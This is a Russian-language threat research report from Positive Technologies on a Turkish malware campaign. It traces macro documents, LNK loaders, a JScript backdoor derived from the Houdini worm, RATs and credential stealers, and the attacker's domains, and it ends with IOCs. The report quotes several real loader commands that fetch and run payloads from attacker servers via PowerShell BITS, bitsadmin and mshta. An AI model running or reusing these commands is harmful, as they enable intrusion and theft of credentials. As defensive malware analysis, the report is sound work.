Турецкие фокусы с червями, крысами… и фрилансером
Специалисты группы исследования угроз экспертного центра безопасности Positive Technologies (PT Expert Security Center) обнаружили вредоносную кампанию, которая активна по крайней мере с середины января 2018 года. Операция направлена на пользователей из Бразилии, Великобритании, Венгрии, Германии, Латвии, США, Турции, с Филиппин. Используется многообразие инструментов и техник заражения и управления ПК жертвы. В данном отчете детально рассмотрены стадия заражения, применяемые утилиты, особенности организации сетевой инфраструктуры, а также цифровые следы, выведшие нас на кандидатуру предполагаемого хакера.
Резюме
- Атакующие переработали червя 10-летней давности с учетом современных приемов
- Зоопарк используемых инструментов в совокупности с обширной сетевой инфраструктурой
- Главный подозреваемый — турецкий фрилансер
Доставка полезной нагрузки
Офисные документы
Пятого апреля 2019 года, в рамках отслеживания новых угроз, специалисты PT Expert Security Center обнаружили подозрительный офисный документ. Файл с расширением .docm (документ MS Word нового образца с поддержкой макросов):
- создан за несколько дней до обнаружения (2019–03–31),
- содержит изображение с целью убедить пользователя включить макросы,
- был создан на системе с турецким языком (об этом свидетельствуют значения полей метаданных: «Konu Başlığı» — «Название темы», «Konu Ba l, 1» — «Предметный заголовок, 1»; перевод Google Translate).
Рис. 1. Типичная ловушка с уведомлением о необходимости включения макросов
Код макроса немного обфусцирован, но лаконичен: средствами командлета Background Intelligent Transfer Management (BITS) для PowerShell загружает и запускает сценарий на JScript с сервера злоумышленника:
Shell ("pow" & "ershe" & "ll -comm" & "and ""$h1='e';&('i' + $h1 + 'x')('Import-Module BitsTransfer;Start-BitsTransf' + $h1 + 'r https://definebilimi.com/1/b12.js $env:t' + $h1 + 'mp\bb1.js;');Start-Process -WindowStyle hidden -FilePath 'cmd.exe' -ArgumentList '/c %systemroot%\system32\wscript %temp%\bb1.js'""")
Использование PowerShell и нетипичного модуля для загрузки файлов с веб-сервера обусловлено попыткой обойти ограничения на запуск и исполнение недоверенных программ.
Существует несколько аналогичных документов. Например, один из них представляет собой .doc-файл (документ MS Word старого образца) с кодовой страницей символов на турецком языке. Работа макроса также очень схожа:
Shell "cmd.exe /c bitsadmin /transfer myjob /download /priority FOREGROUND https://definebilimi.com/up3e.js %temp%\o2.js & wscript.exe %temp%\o2.js", vbHide
В данном случае автор использует ту же BITS-технологию, но при помощи легитимной системной утилиты bitsadmin. Интересно, что и дата создания документа, и время обнаружения в публичных источниках отсылают нас к середине июля 2018 года. Таким образом, атаки актуальны как минимум около года. Кроме этого, для загрузки пейлоада используется тот же самый сервер злоумышленника; схож и подход к именованию загружаемого сценария на JScript.
Еще один документ имеет расширение .rtf (Rich Text Format). В него вложены несколько .xls-документов (документ MS Excel старого образца) с одинаковым содержанием. Код макроса полностью идентичен извлеченному из первоначального документа, а совпадения значений кодовой страницы и XML-поля HeadingPairs ведут к тому же авторству.
LNK-ярлыки
Стоит отметить, что в этой кампании в качестве первоначальной стадии заражения использовались не только офисные документы. Мы встретили пару вредоносных .lnk-файлов (Windows Shell Link), при запуске которых выполнялась следующая команда:
C:\Windows\System32\cmd.exe /c powershell -command "$h1='e';&('i' + $h1 + 'x')('Import-Module BitsTransfer;Start-BitsTransf' + $h1 + 'r https://definebilimi.com/1/b12.js $env:t' + $h1 + 'mp\bb.js;')" & %systemroot%\system32\wscript %temp%\bb.js
Ярлыки распространялись в середине марта и конце апреля 2019 года.
Метаданные ярлыков содержат имя пользователя win7-bilgisayar (с турецкого «win7-компьютер») — пользователя системы, на которой они создавались.
Мы можем с уверенностью предположить, что почтовые фишинговые рассылки — наиболее вероятный сценарий доставки вредоносных файлов на первой стадии заражения.
Метаморфозы Гудини
Все рассмотренные объекты первой стадии заражения загружают и запускают один и тот же сценарий на JScript (без учета незначительных различий). Файл не обфусцирован и не упакован, а единственное, что предпринято для усложнения анализа, — случайные имена переменных. Представляет собой бэкдор на платформе WSH. Из особенностей его работы можно выделить следующие:
- Адрес хоста и порт управляющего сервера зашиты в скрипте
- Взаимодействие с C&C осуществляется средствами POST-запросов протокола HTTP.
- В момент начала работы в поле URI вставляется строка «is-bekle», в переводе с турецкого «is-ready».
- Поле User-Agent содержит краткую информацию о системе с заданным разделителем (в данном случае,»<|>»):
- серийный номер жесткого диска,
- имя пользователя,
- версия системы,
- имя скрипта,
- имя антивируса,
- значение переменной среды %ProgramData%,
- наличие .Net FrameWork 4.5.2 в системе,
- время ожидания между запросами,
- наличие Java в системе.
- Проверяет окружение на предмет песочницы «Лаборатории Касперского» по заданному серийному номеру жесткого диска. В случае совпадения прекращает работу.
- Получает от сервера и выполняет заданные команды; вот некоторые из них:
- загрузка файла с сервера,
- выгрузка файла на сервер
- сбор содержимого буфера обмена,
- сбор содержимого каталога,
- сбор информации о процессах,
- запуск команд в интерпретаторе cmd.exe,
- снятие и отправка скриншота,
- извлечение и отправка баз данных Chrome и Opera с паролями.
Рис. 2. Начало загруженного сценария на JScript с сервера злоумышленника
По наличию комментариев, структуре кода, используемым именам команд и формату сбора информации о системе можно провести параллель с хорошо известным VBS-червем Houdini. Наши коллеги из FireEye в 2013 году привели подробный разбор функций этого трояна, обработка команд и сбор информации в котором происходят аналогичным образом. Похоже, что в нашем случае злоумышленник взял за основу модель работы известного червя, переписал функции не на VBScript, а на JScript, и заменил некоторые английские строки турецкими.
Рис. 3. Обработка команд JScript-бэкдора
Стоит отметить, что в качестве маркера результатов выполнения команд используются строки, содержащие подстроку «Bcorp». Она же присутствует в имени управляющего сервера ip1[.]bcorp.fun.
На сервере злоумышленника
По данным Shodan на 30 апреля 2019 года, на хосте злоумышленника работает веб-сервер на базе AppServ. Не похоже, что сервер тщательно настраивали: например, доступна страница phpinfo, раскрывающая любопытную информацию о конфигурации. При анализе веб-ссылок, с которых загружалось вредоносное ПО, выяснилось, что на сервере присутствует открытая директория (каталог ./a) с листингом других инструментов злоумышленника.
Рис. 4. Домашняя страница сервера злоумышленника
Рис. 5. Страница phpinfo на сервере злоумышленника
Рис. 6. Листинг открытой директории сервера злоумышленника в конце апреля 2019 года
Рис. 7. Листинг открытой директории сервера злоумышленника в конце мая 2019 года
Ниже представлено описание обнаруженных файлов.
Houdini JScript
В первую очередь, получено множество вариаций модифицированного червя Houdini, рассмотренного выше. От версии к версии скрипт претерпевал незначительные изменения: менялись имена хостов (husan2.ddns.net, ip1.bcorp.fun, ip1.qqww.eu), порты (86, 87), имена переменных, появлялись или исчезали отдельные команды. Одна из версий даже была обрамлена в виде скриптлета на JScript.
Рис. 8. Houdini JScript в виде скриптлета
Bcorp JAR
Самописный легкий бэкдор на языке Java. Взаимодействует с C&C по TCP по порту 22122. Умеет:
- выполнять команды в интерпретаторе cmd.exe,
- определять версию системы,
- перечислять каталоги,
- выгружать файлы,
- прописываться в каталог автозагрузки и ветку автозапуска реестра.
Похоже, что именно для этого модифицированный червь проверяет наличие Java в системе. При этом неясно, зачем использовать дополнительный бэкдор, ведь первоначальный обладает достаточным набором функций.
Get-ChromeCreds
PowerShell-обертка для извлечения истории, логинов, паролей, cookie из браузера Chrome. Некоторые версии содержат вспомогательную библиотеку System.Data.SQLite.dll для x86- и x64-систем в base64-закодированном виде, остальные предполагают ее наличие в каталоге %APPDATA%. Компонент поставляется как вспомогательный плагин для основного JScript-бэкдора.
Start-KeyLogger
PowerShell-имплементация простейшего кейлоггера. Компонент поставляется как вспомогательный плагин для основного JScript-бэкдора.
Рис. 9. Фрагмент кода PowerShell-кейлоггера
WebBrowserPassView
Утилита от Nirsoft для получения логинов и паролей из популярных браузеров. Злоумышленники использовали авторскую версию, предварительно упаковав ее с помощью ASPack для усложнения анализа или обхода детектирования по индикаторам.
NetWire RAT
Публично доступный, коммерческий инструмент для удаленного контроля над ПК. Используется различными киберпреступными группами. Малварщики усложнили анализ и обнаружение путем упаковки RAT в PE на платформе .NET и применения обфускатора кода DeepSea 4.1.
TCP Listen
Простенькая GUI-утилита от AllScoop для тестирования параметров роутера или межсетевого экрана. На каждый слушающий порт отвечает заданной строкой, завершая соединение.
Рис. 10. GUI утилиты TCP Listen
LNK loader
Ярлык-загрузчик, схожий с уже рассмотренными ранее. При запуске выполняет следующую команду:
C:\Windows\System32\cmd.exe /v /c "set i=h&&ms!i!ta http://ip1.qqww.eu/1/f.htm"
На этот раз ярлык был создан под другим пользователем (desktop-amkd3n3).
Script loaders
В эту группу мы объединили различные загрузчики рассмотренных выше RAT. Все они небольших размеров (до 1 КБ), различных форматов (.htm, .xsl, .hta и т. д.), код выполняется на нескольких скриптовых (JScript, PowerShell) языках и компилируемом «на лету» C#. Ниже представлены фрагменты кода некоторых образцов:
Рис. 11. Фрагмент .htm-загрузчика
Рис. 12. Фрагмент .xsl-загрузчика
Рис. 13. Фрагмент .ps1-загрузчика
Tiny PE loaders
Помимо скриптовых загрузчиков были обнаружены PE-файлы на платформе .NET. Они также небольших размеров (до 10 КБ), с аналогичной емкой функциональностью:
Рис. 14. Пример декомпилированного кода одного из PE-загрузчиков
xRAT
Публично доступный, свободно распространяемый проект для удаленного управления ПК. Широко распространены различные версии и модификации. Написан на C#, частично обфусцирован.
Bcorp panel vs. builder
Управляющая серверная часть для JScript-бэкдора. В то же время является и конструктором клиентской части. Представляет собой PE на платформе .NET. Не обфусцирована, не упакована. Интерфейс напоминает переработанную серверную часть для уже упомянутого VBS-червя Houdini. Кроме отправки команд загружает на зараженную машину дополнительные компоненты и плагины, описанные ранее: окружение Java, PowerShell-скрипты и утилиту от Nirsoft для сбора информации с браузеров, PowerShell-скрипты для перехвата нажатых клавиш и т. д. Любопытно, что проект носит название BcorpRat, что можно увидеть в заголовке окна на изображениях ниже. А в названии пространства имен исходного программного кода фигурирует строка «Btech», к которой мы вернемся чуть позже.
Рис. 15. Панель управления JScript-бэкдором, главное окно
Рис. 16. Панель управления JScript-бэкдором, окно конструктора клиентской части
Сетевая инфраструктура
Далее мы проведем более детальный анализ адресов, с которыми взаимодействовали те или иные вредоносные программы атакующего. Начнем с домена definebilimi.com, к которому обращаются офисные документы и ярлыки-загрузчики.
definebilimi.com
Шестнадцатого января 2018 года у этого домена появился новый владелец. Кстати, «define bilimi» дословно переводится с турецкого как «сокровище науки». Ниже представлены наиболее интересные данные из истории WHOIS-записей на тот момент.
Таблица 1. Информация о регистранте (владельце) домена definebilimi.com
Будет опрометчиво утверждать, что данные являются подлинными. Указанная страна и частота появления следов турецкого языка в коде позволяют нам предположить, что эти совпадения не случайны. А электронный адрес содержит подстроку «btech», на которую мы уже обращали внимание.
Интересной выглядит история изменений NS-серверов, которые предоставляли информацию о зарегистрированном домене:
Таблица 2. История NS-серверов домена definebilimi.com
Хосты buhar.biz и qqww.eu уже встречались во вредоносном ПО ранее.
buhar.us
Новая история этого домена («buhar» с турецкого — «пар») начинается с того же дня, что и история definebilimi.com, — 16 января 2018 года.
Таблица 3. Информация о регистранте (владельце) домена buhar.us
Ситуация схожа: вновь часть данных выглядят фальшивыми за исключением почтового адреса («buharcin» с турецкого — «паровоз»).
bcorp.fun
Домен зарегистрирован с 23 марта 2019 года. Кроме того, что страна зарегистрированного снова Турция, в качестве организации клиента приводится «Bcorp». Собственно, это же мы видим и в самом названии домена, как и в нескольких абзацах ранее.
husan2.ddns.net
Любопытно, что злоумышленник обзаводится хостами не только классическим способом. С середины марта 2019 года было зафиксировано использование так называемых динамических DNS-серверов. Технология позволяет атакующим эффективно скрывать свои IP-адреса и обеспечить живучесть своих центров управления. Стоит отметить и некоторую предсказуемость в выборе имен: так, например, через пару месяцев было обнаружено использование домена husan3.ddns.net, а вот активность домена husan.ddns.net датируется аж апрелем 2017 года.
bkorp.xyz
С начала апреля хакер, продолжая двигаться по пути анонимизации, регистрирует домены с использованием сервиса WhoisGuard, Inc., располагающегося в Панаме; bkorp.xyz, prntsrcn.com и i37-imgur.com — лишь некоторые примеры. Используемые NS-сервера по-прежнему связывают их с другими вредоносными доменами.
qqww.eu
Кроме того, что у этого домена, так же как и у домена bcorp.fun, есть поддомен ip1, — существует и еще одна немаловажная деталь. В информации о регистранте указана организация Osbil Technology Ltd., якобы располагающаяся в Берлине. На самом деле одноименная организация располагается на побережье Кипра в городе Фамагуста — на территории частично признанной Турецкой Республики Северного Кипра. А официальный сайт компании располагается на домене, который являлся NS-сервером домена bcorp.fun с марта по май 2019 года. Мы не нашли признаков компрометации сервера имен, а инфраструктурные особенности NS-провайдера (замещение клиента данными провайдера в графе регистранта) позволили скрыть информацию о клиенте от публичного доступа.
Рис. 17. Информация о регистранте (владельце) домена qqww.eu
IP-адреса
Для полноты картины ниже приведены IP-адреса — с некоторыми доменами, соответствовавшими им в различные промежутки времени:
- 5.255.63.12
- bcorp.fun
- husan.ddns.net
- husan2.ddns.net
- husan3.ddns.net
- qqww.eu
- 192.95.3.137
- bcorp.fun
- bkorp.xyz
- definebilimi.com
- i36-imgur.com
- i37-imgur.com
- i38-imgur.com
- i39-imgur.com
- prntsrcn.com
- qqww.eu
- 192.95.3.140
- bkorp.xyz
- buhar.us
По следам хакера
Среди вредоносных и вспомогательных инструментов на сервере злоумышленника было найдено любопытное изображение:Рис. 18. Изображение в каталоге на хостинге злоумышленника
Мы не уменьшали разрешение картинки, а разместили его здесь в таком виде, как оно было на хосте.
Несмотря на низкое качество изображения, нам удалось установить, что это скриншот страницы о совершенной транзакции с криптовалютой на ресурсе blockr.io. Это ничего не дало, поэтому мы попытались найти все связанное с именем IMG_JPEG-0371e4dce3c8804f1543c3f0f309cc11.jpg, с которым изображение хранилось у хакера. Следы привели к результату обработки на онлайн-анализаторе некоторого файла, имя которого совпадало с именем нашей картинки. Обработанный объект представляет собой Windows-ярлык, подобный тем, которые мы уже рассматривали ранее. К нему была прикреплена картинка с фотографией идентификационной карты турецкого гражданина, фамилия которого совпадает с фамилией, которая указывалась при регистрации домена, — Yaman.
Рис. 19. Идентификационная карта с ярлыком-загрузчиком
Обработка ярлыка в онлайн-песочнице происходила не вследствие загрузки файла пользователем, а путем передачи URL-адреса, с которого было необходимо загрузить и обработать объект:
hxxps://github.com/btechim/prntsrcn/blob/nm46ny/IMG-0371e4dce3c8804f1543c3f0f309cc11.jpg.lnk?raw=true
Github-аккаунт пользователя уже заблокирован, однако по ссылке мы можем установить никнейм пользователя (btechim) и имя проекта (prntsrcn). Имя проекта совпадает с именем одного из доменов, обнаруженного в кампании (prntsrcn.com), а в прозвище пользователя содержится подстрока btech, фигурирующая в программном коде админских панелей, о которых шла речь выше.
Поиск по никнейму пользователя вывел нас на ресурс фрилансеров, на котором расположена страничка пользователя из Турции — с таким же никнеймом, с подтвержденным номером телефона, почтовым адресом и профилем в Facebook, — предлагающего свои услуги по разработке ПО в области кибербезопасности.
Рис. 20. Страница предполагаемого злоумышленника на ресурсе для фрилансеров
Выводы
На протяжении нескольких месяцев специалисты Positive Technologies наблюдали за развитием вредоносной кампании турецкого происхождения и передали накопленные данные в CERT Турции. Далеко не часто в ходе одной серии атак сочетается использование современных техник и переработанных инструментов 10-летней давности. Злоумышленник применял самые разные инструменты (по назначению, по платформе, по уровню сложности) для получения полного контроля над целевым ПК. Стоит отметить вариативность подходов при подготовке сетевой инфраструктуры в попытках скрыть свою личность. Однако в очередной раз было учтено не все, самонадеянность и несколько упущений выдали преступника. Исследование было передано в центр реагирования на инциденты информационной безопасности Турции.IOCsOffice loaders:
3305720da73efbcb7d25edbb7eff5a1a
5b6d77f3e48e7723498ede5d5ba54f26
621a0133e28edec77a2d3e75115b8655
712e7ec49ad3b8c91b326b6d5ee8dcd8
731a3d72e3d36c2270c1d0711c73c301
929374b35a73c59fe97b336d0c414389LNK loaders:
3bc5d95e2bd2d52a300da9f3036f5b3b
527069e966b4a854df35aef63f45986a
a4667e0b3bfaca0cda5c344f1475b8e0Houdini JScript:
04c2ad67de2cea3f247cf50c5e12e969
5ab9176b9ed9f7a776ec82c412a89eab
84f0d098880747f417703f251a2e0d1c
94c6ba0d812b4daf214263fffc951a20
a52509a38846b55a524019f2f1a06ade
bf2fb6cdbc9fde99e186f01ad26f959f
c871091ce44594adbd6cf4388381e410
daf6a9eb55813d1a151695d33506179d
f010af1b330d00abb5149e9defdae6ee
ff924faeb9dfd7384c05abe855566fc9Bcorp JAR
59978b5a9e4ab36da0f31a8f616cc9d3
a7219da3b0c0730c476fe340dbf7e4e5
ddac55213089da9ef407bce05ebe653eGet-ChromeCreds
11769e9f49123a2af00bd74453221c07
1a81c9119d7761535c198ddb761979b8
42a85849a591e65b0254d9bcbdf59f82
8e49263f33c53ee5bc91bebbf9617352
c9ab090ad2badb9862fd5b6058428096Start-KeyLogger
55daa84475a11ea656183e0ad5ccc608
aa82fbb6a341d71d2431b6d2ebca027cWebBrowserPassView
7722e086cf7ed59955a1d6ec26f49cf3NetWire RAT
1470a08bd427bb8738a254ba4f130ff5
5f8495016773c7834b1c588f0997a6c4TCP Listen
913567da98185cad9f91a570dc298de1Script loaders
02946d10c6a34fe74826f3c0b0a6a3e0
1ad644bdba488a6e42ad76aea2c0ee54
3a2dcf36b9206a135daa73c645a3f56f
4dddd87d3cb80145c9859fd76dfef794
74c5e5be9f79bd9e7ee84fd046c14e68
78f4d5fa6c68dae4b03860b54ec6cc67Tiny PE loaders
0f3c56018a7051aebe060454fc981f5b
1b9cefc229daddc4557cea0e3bdf4656
29e6679107bd9c72aa061371082206bb
b66b7395825b9ed656b768d4e7fe1de7
fbc606b8b04e51ddb342e29b84ac1edbxRAT
2e9a0637478938cc3e4519aa7b4219cc
7c67c93ba243be32e5fd6a6921ceded3Bcorp panel vs. builder
405c987ba1a8568e2808da2b06bc9047
c3ac8b7a7c8c0d100e3c2af8ccd11441Bcorp C&C
bcorp.fun
bkorp.xyz
buhar.us
definebilimi.com
husan.ddns.net
husan2.ddns.net
husan3.ddns.net
i36-imgur.com
i37-imgur.com
i38-imgur.com
i39-imgur.com
prntsrcn.com
qqww.eu
5.255.63.12
192.95.3.137
192.95.3.14Автор: Алексей Вишняков, Positive Technologies